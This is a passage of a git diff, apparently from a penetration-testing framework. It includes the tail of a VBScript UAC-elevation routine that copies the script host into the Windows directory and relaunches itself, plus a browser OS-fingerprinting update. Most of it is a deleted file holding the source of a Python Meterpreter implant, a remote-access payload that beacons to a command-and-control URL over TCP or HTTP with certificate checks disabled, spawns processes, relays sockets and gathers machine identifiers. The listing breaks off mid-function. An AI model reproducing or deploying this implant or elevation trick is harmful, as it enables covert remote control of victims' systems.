Copy WScript.FullName, WINDIR
|
||||||
|
oWs.Run WINDIR & "\" & sHost & " """ & WScript.ScriptFullName & """ /RESTART"
|
||||||
|
oFso.DeleteFile sManifest
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
Function GetTempFilename()
|
||||||
|
Const vbTemporaryFolder = 2
|
||||||
|
Dim sTempFolder: sTempFolder = oFso.GetSpecialFolder(vbTemporaryFolder)
|
||||||
|
GetTempFilename = oFso.BuildPath(sTempFolder, oFso.GetTempName())
|
||||||
|
End Function
|
||||||
|
|
||||||
|
Sub RunAsAdmin()
|
||||||
|
oWs.Run "COMMAND"
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
If WScript.Arguments.Named.Exists("RESTART") Then
|
||||||
|
RunAsAdmin
|
||||||
|
Else
|
||||||
|
Elevate
|
||||||
|
End If
|
Binary file not shown.
Binary file not shown.
|
@ -973,6 +973,12 @@ os_detect.getVersion = function(){
|
||||||
os_name = "Windows 8";
|
os_name = "Windows 8";
|
||||||
os_sp = "SP0";
|
os_sp = "SP0";
|
||||||
break;
|
break;
|
||||||
|
case "1100":
|
||||||
|
// IE 11.0.10011.0 Windows 10.0 (Build 10074) English - insider preview
|
||||||
|
ua_version = "11.0";
|
||||||
|
os_name = "Windows 10";
|
||||||
|
os_sp = "SP0";
|
||||||
|
break;
|
||||||
default:
|
default:
|
||||||
unknown_fingerprint = version;
|
unknown_fingerprint = version;
|
||||||
break;
|
break;
|
||||||
|
|
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
|
@ -1,774 +0,0 @@
|
||||||
#!/usr/bin/python
|
|
||||||
import code
|
|
||||||
import os
|
|
||||||
import platform
|
|
||||||
import random
|
|
||||||
import select
|
|
||||||
import socket
|
|
||||||
import struct
|
|
||||||
import subprocess
|
|
||||||
import sys
|
|
||||||
import threading
|
|
||||||
import time
|
|
||||||
import traceback
|
|
||||||
|
|
||||||
try:
|
|
||||||
import ctypes
|
|
||||||
except ImportError:
|
|
||||||
has_windll = False
|
|
||||||
else:
|
|
||||||
has_windll = hasattr(ctypes, 'windll')
|
|
||||||
|
|
||||||
# this MUST be imported for urllib to work on OSX
|
|
||||||
try:
|
|
||||||
import SystemConfiguration as osxsc
|
|
||||||
osxsc.SCNetworkInterfaceCopyAll()
|
|
||||||
has_osxsc = True
|
|
||||||
except ImportError:
|
|
||||||
has_osxsc = False
|
|
||||||
|
|
||||||
try:
|
|
||||||
urllib_imports = ['ProxyHandler', 'Request', 'build_opener', 'install_opener', 'urlopen']
|
|
||||||
if sys.version_info[0] < 3:
|
|
||||||
urllib = __import__('urllib2', fromlist=urllib_imports)
|
|
||||||
else:
|
|
||||||
urllib = __import__('urllib.request', fromlist=urllib_imports)
|
|
||||||
except ImportError:
|
|
||||||
has_urllib = False
|
|
||||||
else:
|
|
||||||
has_urllib = True
|
|
||||||
|
|
||||||
if sys.version_info[0] < 3:
|
|
||||||
is_str = lambda obj: issubclass(obj.__class__, str)
|
|
||||||
is_bytes = lambda obj: issubclass(obj.__class__, str)
|
|
||||||
bytes = lambda *args: str(*args[:1])
|
|
||||||
NULL_BYTE = '\x00'
|
|
||||||
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, str) else x)
|
|
||||||
else:
|
|
||||||
if isinstance(__builtins__, dict):
|
|
||||||
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
|
|
||||||
str = lambda x: __builtins__['str'](x, 'UTF-8')
|
|
||||||
else:
|
|
||||||
is_str = lambda obj: issubclass(obj.__class__, __builtins__.str)
|
|
||||||
str = lambda x: __builtins__.str(x, 'UTF-8')
|
|
||||||
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
|
|
||||||
NULL_BYTE = bytes('\x00', 'UTF-8')
|
|
||||||
long = int
|
|
||||||
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, bytes) else x)
|
|
||||||
|
|
||||||
#
|
|
||||||
# Constants
|
|
||||||
#
|
|
||||||
|
|
||||||
# these values may be patched, DO NOT CHANGE THEM
|
|
||||||
DEBUGGING = False
|
|
||||||
HTTP_COMMUNICATION_TIMEOUT = 300
|
|
||||||
HTTP_CONNECTION_URL = None
|
|
||||||
HTTP_EXPIRATION_TIMEOUT = 604800
|
|
||||||
HTTP_PROXY = None
|
|
||||||
HTTP_USER_AGENT = None
|
|
||||||
PAYLOAD_UUID = ""
|
|
||||||
|
|
||||||
PACKET_TYPE_REQUEST = 0
|
|
||||||
PACKET_TYPE_RESPONSE = 1
|
|
||||||
PACKET_TYPE_PLAIN_REQUEST = 10
|
|
||||||
PACKET_TYPE_PLAIN_RESPONSE = 11
|
|
||||||
|
|
||||||
ERROR_SUCCESS = 0
|
|
||||||
# not defined in original C implementation
|
|
||||||
ERROR_FAILURE = 1
|
|
||||||
ERROR_FAILURE_PYTHON = 2
|
|
||||||
ERROR_FAILURE_WINDOWS = 3
|
|
||||||
|
|
||||||
CHANNEL_CLASS_BUFFERED = 0
|
|
||||||
CHANNEL_CLASS_STREAM = 1
|
|
||||||
CHANNEL_CLASS_DATAGRAM = 2
|
|
||||||
CHANNEL_CLASS_POOL = 3
|
|
||||||
|
|
||||||
#
|
|
||||||
# TLV Meta Types
|
|
||||||
#
|
|
||||||
TLV_META_TYPE_NONE = ( 0 )
|
|
||||||
TLV_META_TYPE_STRING = (1 << 16)
|
|
||||||
TLV_META_TYPE_UINT = (1 << 17)
|
|
||||||
TLV_META_TYPE_RAW = (1 << 18)
|
|
||||||
TLV_META_TYPE_BOOL = (1 << 19)
|
|
||||||
TLV_META_TYPE_QWORD = (1 << 20)
|
|
||||||
TLV_META_TYPE_COMPRESSED = (1 << 29)
|
|
||||||
TLV_META_TYPE_GROUP = (1 << 30)
|
|
||||||
TLV_META_TYPE_COMPLEX = (1 << 31)
|
|
||||||
# not defined in original
|
|
||||||
TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)
|
|
||||||
|
|
||||||
#
|
|
||||||
# TLV base starting points
|
|
||||||
#
|
|
||||||
TLV_RESERVED = 0
|
|
||||||
TLV_EXTENSIONS = 20000
|
|
||||||
TLV_USER = 40000
|
|
||||||
TLV_TEMP = 60000
|
|
||||||
|
|
||||||
#
|
|
||||||
# TLV Specific Types
|
|
||||||
#
|
|
||||||
TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0
|
|
||||||
TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1
|
|
||||||
TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2
|
|
||||||
TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3
|
|
||||||
TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4
|
|
||||||
|
|
||||||
TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10
|
|
||||||
TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11
|
|
||||||
TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12
|
|
||||||
|
|
||||||
TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25
|
|
||||||
TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26
|
|
||||||
TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27
|
|
||||||
|
|
||||||
TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50
|
|
||||||
TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51
|
|
||||||
TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52
|
|
||||||
TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53
|
|
||||||
TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54
|
|
||||||
TLV_TYPE_CHANNEL_PARENTID = TLV_META_TYPE_UINT | 55
|
|
||||||
|
|
||||||
TLV_TYPE_SEEK_WHENCE = TLV_META_TYPE_UINT | 70
|
|
||||||
TLV_TYPE_SEEK_OFFSET = TLV_META_TYPE_UINT | 71
|
|
||||||
TLV_TYPE_SEEK_POS = TLV_META_TYPE_UINT | 72
|
|
||||||
|
|
||||||
TLV_TYPE_EXCEPTION_CODE = TLV_META_TYPE_UINT | 300
|
|
||||||
TLV_TYPE_EXCEPTION_STRING = TLV_META_TYPE_STRING | 301
|
|
||||||
|
|
||||||
TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400
|
|
||||||
TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401
|
|
||||||
TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402
|
|
||||||
TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403
|
|
||||||
|
|
||||||
TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460
|
|
||||||
TLV_TYPE_UUID = TLV_META_TYPE_RAW | 461
|
|
||||||
|
|
||||||
TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500
|
|
||||||
TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501
|
|
||||||
|
|
||||||
TLV_TYPE_PEER_HOST = TLV_META_TYPE_STRING | 1500
|
|
||||||
TLV_TYPE_PEER_PORT = TLV_META_TYPE_UINT | 1501
|
|
||||||
TLV_TYPE_LOCAL_HOST = TLV_META_TYPE_STRING | 1502
|
|
||||||
TLV_TYPE_LOCAL_PORT = TLV_META_TYPE_UINT | 1503
|
|
||||||
|
|
||||||
EXPORTED_SYMBOLS = {}
|
|
||||||
EXPORTED_SYMBOLS['DEBUGGING'] = DEBUGGING
|
|
||||||
|
|
||||||
def export(symbol):
|
|
||||||
EXPORTED_SYMBOLS[symbol.__name__] = symbol
|
|
||||||
return symbol
|
|
||||||
|
|
||||||
def generate_request_id():
|
|
||||||
chars = 'abcdefghijklmnopqrstuvwxyz'
|
|
||||||
return ''.join(random.choice(chars) for x in range(32))
|
|
||||||
|
|
||||||
@export
|
|
||||||
def crc16(data):
|
|
||||||
poly = 0x1021
|
|
||||||
reg = 0x0000
|
|
||||||
if is_str(data):
|
|
||||||
data = list(map(ord, data))
|
|
||||||
elif is_bytes(data):
|
|
||||||
data = list(data)
|
|
||||||
data.append(0)
|
|
||||||
data.append(0)
|
|
||||||
for byte in data:
|
|
||||||
mask = 0x80
|
|
||||||
while mask > 0:
|
|
||||||
reg <<= 1
|
|
||||||
if byte & mask:
|
|
||||||
reg += 1
|
|
||||||
mask >>= 1
|
|
||||||
if reg > 0xffff:
|
|
||||||
reg &= 0xffff
|
|
||||||
reg ^= poly
|
|
||||||
return reg
|
|
||||||
|
|
||||||
@export
|
|
||||||
def error_result(exception=None):
|
|
||||||
if not exception:
|
|
||||||
_, exception, _ = sys.exc_info()
|
|
||||||
exception_crc = crc16(exception.__class__.__name__)
|
|
||||||
if exception_crc == 0x4cb2: # WindowsError
|
|
||||||
return error_result_windows(exception.errno)
|
|
||||||
else:
|
|
||||||
result = ((exception_crc << 16) | ERROR_FAILURE_PYTHON)
|
|
||||||
return result
|
|
||||||
|
|
||||||
@export
|
|
||||||
def error_result_windows(error_number=None):
|
|
||||||
if not has_windll:
|
|
||||||
return ERROR_FAILURE
|
|
||||||
if error_number == None:
|
|
||||||
error_number = ctypes.windll.kernel32.GetLastError()
|
|
||||||
if error_number > 0xffff:
|
|
||||||
return ERROR_FAILURE
|
|
||||||
result = ((error_number << 16) | ERROR_FAILURE_WINDOWS)
|
|
||||||
return result
|
|
||||||
|
|
||||||
@export
|
|
||||||
def inet_pton(family, address):
|
|
||||||
if hasattr(socket, 'inet_pton'):
|
|
||||||
return socket.inet_pton(family, address)
|
|
||||||
elif has_windll:
|
|
||||||
WSAStringToAddress = ctypes.windll.ws2_32.WSAStringToAddressA
|
|
||||||
lpAddress = (ctypes.c_ubyte * 28)()
|
|
||||||
lpAddressLength = ctypes.c_int(ctypes.sizeof(lpAddress))
|
|
||||||
if WSAStringToAddress(address, family, None, ctypes.byref(lpAddress), ctypes.byref(lpAddressLength)) != 0:
|
|
||||||
raise Exception('WSAStringToAddress failed')
|
|
||||||
if family == socket.AF_INET:
|
|
||||||
return ''.join(map(chr, lpAddress[4:8]))
|
|
||||||
elif family == socket.AF_INET6:
|
|
||||||
return ''.join(map(chr, lpAddress[8:24]))
|
|
||||||
raise Exception('no suitable inet_pton functionality is available')
|
|
||||||
|
|
||||||
@export
|
|
||||||
def packet_enum_tlvs(pkt, tlv_type = None):
|
|
||||||
offset = 0
|
|
||||||
while (offset < len(pkt)):
|
|
||||||
tlv = struct.unpack('>II', pkt[offset:offset+8])
|
|
||||||
if (tlv_type == None) or ((tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type):
|
|
||||||
val = pkt[offset+8:(offset+8+(tlv[0] - 8))]
|
|
||||||
if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
|
|
||||||
val = str(val.split(NULL_BYTE, 1)[0])
|
|
||||||
elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
|
|
||||||
val = struct.unpack('>I', val)[0]
|
|
||||||
elif (tlv[1] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD:
|
|
||||||
val = struct.unpack('>Q', val)[0]
|
|
||||||
elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
|
|
||||||
val = bool(struct.unpack('b', val)[0])
|
|
||||||
elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
|
|
||||||
pass
|
|
||||||
yield {'type':tlv[1], 'length':tlv[0], 'value':val}
|
|
||||||
offset += tlv[0]
|
|
||||||
raise StopIteration()
|
|
||||||
|
|
||||||
@export
|
|
||||||
def packet_get_tlv(pkt, tlv_type):
|
|
||||||
try:
|
|
||||||
tlv = list(packet_enum_tlvs(pkt, tlv_type))[0]
|
|
||||||
except IndexError:
|
|
||||||
return {}
|
|
||||||
return tlv
|
|
||||||
|
|
||||||
@export
|
|
||||||
def tlv_pack(*args):
|
|
||||||
if len(args) == 2:
|
|
||||||
tlv = {'type':args[0], 'value':args[1]}
|
|
||||||
else:
|
|
||||||
tlv = args[0]
|
|
||||||
data = ""
|
|
||||||
if (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
|
|
||||||
data = struct.pack('>III', 12, tlv['type'], tlv['value'])
|
|
||||||
elif (tlv['type'] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD:
|
|
||||||
data = struct.pack('>IIQ', 16, tlv['type'], tlv['value'])
|
|
||||||
elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
|
|
||||||
data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8')
|
|
||||||
else:
|
|
||||||
value = tlv['value']
|
|
||||||
if sys.version_info[0] < 3 and value.__class__.__name__ == 'unicode':
|
|
||||||
value = value.encode('UTF-8')
|
|
||||||
elif not is_bytes(value):
|
|
||||||
value = bytes(value, 'UTF-8')
|
|
||||||
if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
|
|
||||||
data = struct.pack('>II', 8 + len(value) + 1, tlv['type']) + value + NULL_BYTE
|
|
||||||
elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
|
|
||||||
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
|
|
||||||
elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP:
|
|
||||||
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
|
|
||||||
elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX:
|
|
||||||
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
|
|
||||||
return data
|
|
||||||
|
|
||||||
#@export
|
|
||||||
class MeterpreterFile(object):
|
|
||||||
def __init__(self, file_obj):
|
|
||||||
self.file_obj = file_obj
|
|
||||||
|
|
||||||
def __getattr__(self, name):
|
|
||||||
return getattr(self.file_obj, name)
|
|
||||||
export(MeterpreterFile)
|
|
||||||
|
|
||||||
#@export
|
|
||||||
class MeterpreterSocket(object):
|
|
||||||
def __init__(self, sock):
|
|
||||||
self.sock = sock
|
|
||||||
|
|
||||||
def __getattr__(self, name):
|
|
||||||
return getattr(self.sock, name)
|
|
||||||
export(MeterpreterSocket)
|
|
||||||
|
|
||||||
#@export
|
|
||||||
class MeterpreterSocketClient(MeterpreterSocket):
|
|
||||||
pass
|
|
||||||
export(MeterpreterSocketClient)
|
|
||||||
|
|
||||||
#@export
|
|
||||||
class MeterpreterSocketServer(MeterpreterSocket):
|
|
||||||
pass
|
|
||||||
export(MeterpreterSocketServer)
|
|
||||||
|
|
||||||
class STDProcessBuffer(threading.Thread):
|
|
||||||
def __init__(self, std, is_alive):
|
|
||||||
threading.Thread.__init__(self)
|
|
||||||
self.std = std
|
|
||||||
self.is_alive = is_alive
|
|
||||||
self.data = bytes()
|
|
||||||
self.data_lock = threading.RLock()
|
|
||||||
|
|
||||||
def run(self):
|
|
||||||
for byte in iter(lambda: self.std.read(1), bytes()):
|
|
||||||
self.data_lock.acquire()
|
|
||||||
self.data += byte
|
|
||||||
self.data_lock.release()
|
|
||||||
|
|
||||||
def is_read_ready(self):
|
|
||||||
return len(self.data) != 0
|
|
||||||
|
|
||||||
def peek(self, l = None):
|
|
||||||
data = bytes()
|
|
||||||
self.data_lock.acquire()
|
|
||||||
if l == None:
|
|
||||||
data = self.data
|
|
||||||
else:
|
|
||||||
data = self.data[0:l]
|
|
||||||
self.data_lock.release()
|
|
||||||
return data
|
|
||||||
|
|
||||||
def read(self, l = None):
|
|
||||||
self.data_lock.acquire()
|
|
||||||
data = self.peek(l)
|
|
||||||
self.data = self.data[len(data):]
|
|
||||||
self.data_lock.release()
|
|
||||||
return data
|
|
||||||
|
|
||||||
#@export
|
|
||||||
class STDProcess(subprocess.Popen):
|
|
||||||
def __init__(self, *args, **kwargs):
|
|
||||||
subprocess.Popen.__init__(self, *args, **kwargs)
|
|
||||||
self.echo_protection = False
|
|
||||||
|
|
||||||
def start(self):
|
|
||||||
self.stdout_reader = STDProcessBuffer(self.stdout, lambda: self.poll() == None)
|
|
||||||
self.stdout_reader.start()
|
|
||||||
self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None)
|
|
||||||
self.stderr_reader.start()
|
|
||||||
|
|
||||||
def write(self, channel_data):
|
|
||||||
self.stdin.write(channel_data)
|
|
||||||
self.stdin.flush()
|
|
||||||
if self.echo_protection:
|
|
||||||
end_time = time.time() + 0.5
|
|
||||||
out_data = bytes()
|
|
||||||
while (time.time() < end_time) and (out_data != channel_data):
|
|
||||||
if self.stdout_reader.is_read_ready():
|
|
||||||
out_data = self.stdout_reader.peek(len(channel_data))
|
|
||||||
if out_data == channel_data:
|
|
||||||
self.stdout_reader.read(len(channel_data))
|
|
||||||
export(STDProcess)
|
|
||||||
|
|
||||||
class PythonMeterpreter(object):
|
|
||||||
def __init__(self, socket=None):
|
|
||||||
self.socket = socket
|
|
||||||
self.driver = None
|
|
||||||
self.running = False
|
|
||||||
self.communications_active = True
|
|
||||||
self.communications_last = 0
|
|
||||||
if self.socket:
|
|
||||||
self.driver = 'tcp'
|
|
||||||
elif HTTP_CONNECTION_URL:
|
|
||||||
self.driver = 'http'
|
|
||||||
self.last_registered_extension = None
|
|
||||||
self.extension_functions = {}
|
|
||||||
self.channels = {}
|
|
||||||
self.interact_channels = []
|
|
||||||
self.processes = {}
|
|
||||||
for func in list(filter(lambda x: x.startswith('_core'), dir(self))):
|
|
||||||
self.extension_functions[func[1:]] = getattr(self, func)
|
|
||||||
if self.driver:
|
|
||||||
if hasattr(self, 'driver_init_' + self.driver):
|
|
||||||
getattr(self, 'driver_init_' + self.driver)()
|
|
||||||
self.running = True
|
|
||||||
|
|
||||||
def debug_print(self, msg):
|
|
||||||
if DEBUGGING:
|
|
||||||
print(msg)
|
|
||||||
|
|
||||||
def driver_init_http(self):
|
|
||||||
opener_args = []
|
|
||||||
scheme = HTTP_CONNECTION_URL.split(':', 1)[0]
|
|
||||||
if scheme == 'https' and ((sys.version_info[0] == 2 and sys.version_info >= (2,7,9)) or sys.version_info >= (3,4,3)):
|
|
||||||
import ssl
|
|
||||||
ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
|
|
||||||
ssl_ctx.check_hostname=False
|
|
||||||
ssl_ctx.verify_mode=ssl.CERT_NONE
|
|
||||||
opener_args.append(urllib.HTTPSHandler(0, ssl_ctx))
|
|
||||||
if HTTP_PROXY:
|
|
||||||
opener_args.append(urllib.ProxyHandler({scheme: HTTP_PROXY}))
|
|
||||||
opener = urllib.build_opener(*opener_args)
|
|
||||||
if HTTP_USER_AGENT:
|
|
||||||
opener.addheaders = [('User-Agent', HTTP_USER_AGENT)]
|
|
||||||
urllib.install_opener(opener)
|
|
||||||
self._http_last_seen = time.time()
|
|
||||||
self._http_request_headers = {'Content-Type': 'application/octet-stream'}
|
|
||||||
|
|
||||||
def register_extension(self, extension_name):
|
|
||||||
self.last_registered_extension = extension_name
|
|
||||||
return self.last_registered_extension
|
|
||||||
|
|
||||||
def register_function(self, func):
|
|
||||||
self.extension_functions[func.__name__] = func
|
|
||||||
return func
|
|
||||||
|
|
||||||
def register_function_windll(self, func):
|
|
||||||
if has_windll:
|
|
||||||
self.register_function(func)
|
|
||||||
return func
|
|
||||||
|
|
||||||
def add_channel(self, channel):
|
|
||||||
assert(isinstance(channel, (subprocess.Popen, MeterpreterFile, MeterpreterSocket)))
|
|
||||||
idx = 0
|
|
||||||
while idx in self.channels:
|
|
||||||
idx += 1
|
|
||||||
self.channels[idx] = channel
|
|
||||||
return idx
|
|
||||||
|
|
||||||
def add_process(self, process):
|
|
||||||
idx = 0
|
|
||||||
while idx in self.processes:
|
|
||||||
idx += 1
|
|
||||||
self.processes[idx] = process
|
|
||||||
return idx
|
|
||||||
|
|
||||||
def get_packet(self):
|
|
||||||
packet = getattr(self, 'get_packet_' + self.driver)()
|
|
||||||
self.communications_last = time.time()
|
|
||||||
if packet:
|
|
||||||
self.communications_active = True
|
|
||||||
return packet
|
|
||||||
|
|
||||||
def send_packet(self, packet):
|
|
||||||
getattr(self, 'send_packet_' + self.driver)(packet)
|
|
||||||
self.communications_last = time.time()
|
|
||||||
self.communications_active = True
|
|
||||||
|
|
||||||
def get_packet_http(self):
|
|
||||||
packet = None
|
|
||||||
request = urllib.Request(HTTP_CONNECTION_URL, bytes('RECV', 'UTF-8'), self._http_request_headers)
|
|
||||||
try:
|
|
||||||
url_h = urllib.urlopen(request)
|
|
||||||
packet = url_h.read()
|
|
||||||
except:
|
|
||||||
if (time.time() - self._http_last_seen) > HTTP_COMMUNICATION_TIMEOUT:
|
|
||||||
self.running = False
|
|
||||||
else:
|
|
||||||
self._http_last_seen = time.time()
|
|
||||||
if packet:
|
|
||||||
packet = packet[8:]
|
|
||||||
else:
|
|
||||||
packet = None
|
|
||||||
return packet
|
|
||||||
|
|
||||||
def send_packet_http(self, packet):
|
|
||||||
request = urllib.Request(HTTP_CONNECTION_URL, packet, self._http_request_headers)
|
|
||||||
try:
|
|
||||||
url_h = urllib.urlopen(request)
|
|
||||||
response = url_h.read()
|
|
||||||
except:
|
|
||||||
if (time.time() - self._http_last_seen) > HTTP_COMMUNICATION_TIMEOUT:
|
|
||||||
self.running = False
|
|
||||||
else:
|
|
||||||
self._http_last_seen = time.time()
|
|
||||||
|
|
||||||
def get_packet_tcp(self):
|
|
||||||
packet = None
|
|
||||||
if len(select.select([self.socket], [], [], 0.5)[0]):
|
|
||||||
packet = self.socket.recv(8)
|
|
||||||
if len(packet) != 8:
|
|
||||||
self.running = False
|
|
||||||
return None
|
|
||||||
pkt_length, pkt_type = struct.unpack('>II', packet)
|
|
||||||
pkt_length -= 8
|
|
||||||
packet = bytes()
|
|
||||||
while len(packet) < pkt_length:
|
|
||||||
packet += self.socket.recv(pkt_length - len(packet))
|
|
||||||
return packet
|
|
||||||
|
|
||||||
def send_packet_tcp(self, packet):
|
|
||||||
self.socket.send(packet)
|
|
||||||
|
|
||||||
def run(self):
|
|
||||||
while self.running:
|
|
||||||
request = None
|
|
||||||
should_get_packet = self.communications_active or ((time.time() - self.communications_last) > 0.5)
|
|
||||||
self.communications_active = False
|
|
||||||
if should_get_packet:
|
|
||||||
request = self.get_packet()
|
|
||||||
if request:
|
|
||||||
response = self.create_response(request)
|
|
||||||
self.send_packet(response)
|
|
||||||
else:
|
|
||||||
# iterate over the keys because self.channels could be modified if one is closed
|
|
||||||
channel_ids = list(self.channels.keys())
|
|
||||||
for channel_id in channel_ids:
|
|
||||||
channel = self.channels[channel_id]
|
|
||||||
data = bytes()
|
|
||||||
if isinstance(channel, STDProcess):
|
|
||||||
if not channel_id in self.interact_channels:
|
|
||||||
continue
|
|
||||||
if channel.stderr_reader.is_read_ready():
|
|
||||||
data = channel.stderr_reader.read()
|
|
||||||
elif channel.stdout_reader.is_read_ready():
|
|
||||||
data = channel.stdout_reader.read()
|
|
||||||
elif channel.poll() != None:
|
|
||||||
self.handle_dead_resource_channel(channel_id)
|
|
||||||
elif isinstance(channel, MeterpreterSocketClient):
|
|
||||||
while len(select.select([channel.fileno()], [], [], 0)[0]):
|
|
||||||
try:
|
|
||||||
d = channel.recv(1)
|
|
||||||
except socket.error:
|
|
||||||
d = bytes()
|
|
||||||
if len(d) == 0:
|
|
||||||
self.handle_dead_resource_channel(channel_id)
|
|
||||||
break
|
|
||||||
data += d
|
|
||||||
elif isinstance(channel, MeterpreterSocketServer):
|
|
||||||
if len(select.select([channel.fileno()], [], [], 0)[0]):
|
|
||||||
(client_sock, client_addr) = channel.accept()
|
|
||||||
server_addr = channel.getsockname()
|
|
||||||
client_channel_id = self.add_channel(MeterpreterSocketClient(client_sock))
|
|
||||||
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
|
|
||||||
pkt += tlv_pack(TLV_TYPE_METHOD, 'tcp_channel_open')
|
|
||||||
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, client_channel_id)
|
|
||||||
pkt += tlv_pack(TLV_TYPE_CHANNEL_PARENTID, channel_id)
|
|
||||||
pkt += tlv_pack(TLV_TYPE_LOCAL_HOST, inet_pton(channel.family, server_addr[0]))
|
|
||||||
pkt += tlv_pack(TLV_TYPE_LOCAL_PORT, server_addr[1])
|
|
||||||
pkt += tlv_pack(TLV_TYPE_PEER_HOST, inet_pton(client_sock.family, client_addr[0]))
|
|
||||||
pkt += tlv_pack(TLV_TYPE_PEER_PORT, client_addr[1])
|
|
||||||
pkt = struct.pack('>I', len(pkt) + 4) + pkt
|
|
||||||
self.send_packet(pkt)
|
|
||||||
if data:
|
|
||||||
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
|
|
||||||
pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write')
|
|
||||||
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
|
||||||
pkt += tlv_pack(TLV_TYPE_CHANNEL_DATA, data)
|
|
||||||
pkt += tlv_pack(TLV_TYPE_LENGTH, len(data))
|
|
||||||
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
|
|
||||||
pkt = struct.pack('>I', len(pkt) + 4) + pkt
|
|
||||||
self.send_packet(pkt)
|
|
||||||
|
|
||||||
def handle_dead_resource_channel(self, channel_id):
|
|
||||||
del self.channels[channel_id]
|
|
||||||
if channel_id in self.interact_channels:
|
|
||||||
self.interact_channels.remove(channel_id)
|
|
||||||
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
|
|
||||||
pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_close')
|
|
||||||
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
|
|
||||||
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
|
||||||
pkt = struct.pack('>I', len(pkt) + 4) + pkt
|
|
||||||
self.send_packet(pkt)
|
|
||||||
|
|
||||||
def _core_uuid(self, request, response):
|
|
||||||
response += tlv_pack(TLV_TYPE_UUID, PAYLOAD_UUID)
|
|
||||||
return ERROR_SUCCESS, response
|
|
||||||
|
|
||||||
def _core_machine_id(self, request, response):
|
|
||||||
def get_hdd_label():
|
|
||||||
for _, _, files in os.walk('/dev/disk/by-id/'):
|
|
||||||
for f in files:
|
|
||||||
for p in ['ata-', 'mb-']:
|
|
||||||
if f[:len(p)] == p:
|
|
||||||
return f[len(p):]
|
|
||||||
return ""
|
|
||||||
|
|
||||||
serial = ''
|
|
||||||
machine_name = platform.uname()[1]
|
|
||||||
if has_windll:
|
|
||||||
from ctypes import wintypes
|
|
||||||
|
|
||||||
k32 = ctypes.windll.kernel32
|
|
||||||
sys_dir = ctypes.create_unicode_buffer(260)
|
|
||||||
if not k32.GetSystemDirectoryW(ctypes.byref(sys_dir), 260):
|
|
||||||
return ERROR_FAILURE_WINDOWS
|
|
||||||
|
|
||||||
vol_buf = ctypes.create_unicode_buffer(260)
|
|
||||||
fs_buf = ctypes.create_unicode_buffer(260)
|
|
||||||
serial_num = wintypes.DWORD(0)
|
|
||||||
|
|
||||||
if not k32.GetVolumeInformationW(ctypes.c_wchar_p(sys_dir.value[:3]),
|
|
||||||
vol_buf, ctypes.sizeof(vol_buf), ctypes.byref(serial_num), None,
|
|
||||||
None, fs_buf, ctypes.sizeof(fs_buf)):
|
|
||||||
return ERROR_FAILURE_WINDOWS
|
|
||||||
serial_num = serial_num.value
|
|
||||||
serial = "{0:04x}-{1:04x}".format((serial_num >> 16) & 0xFFFF, serial_num & 0xFFFF)
|
|
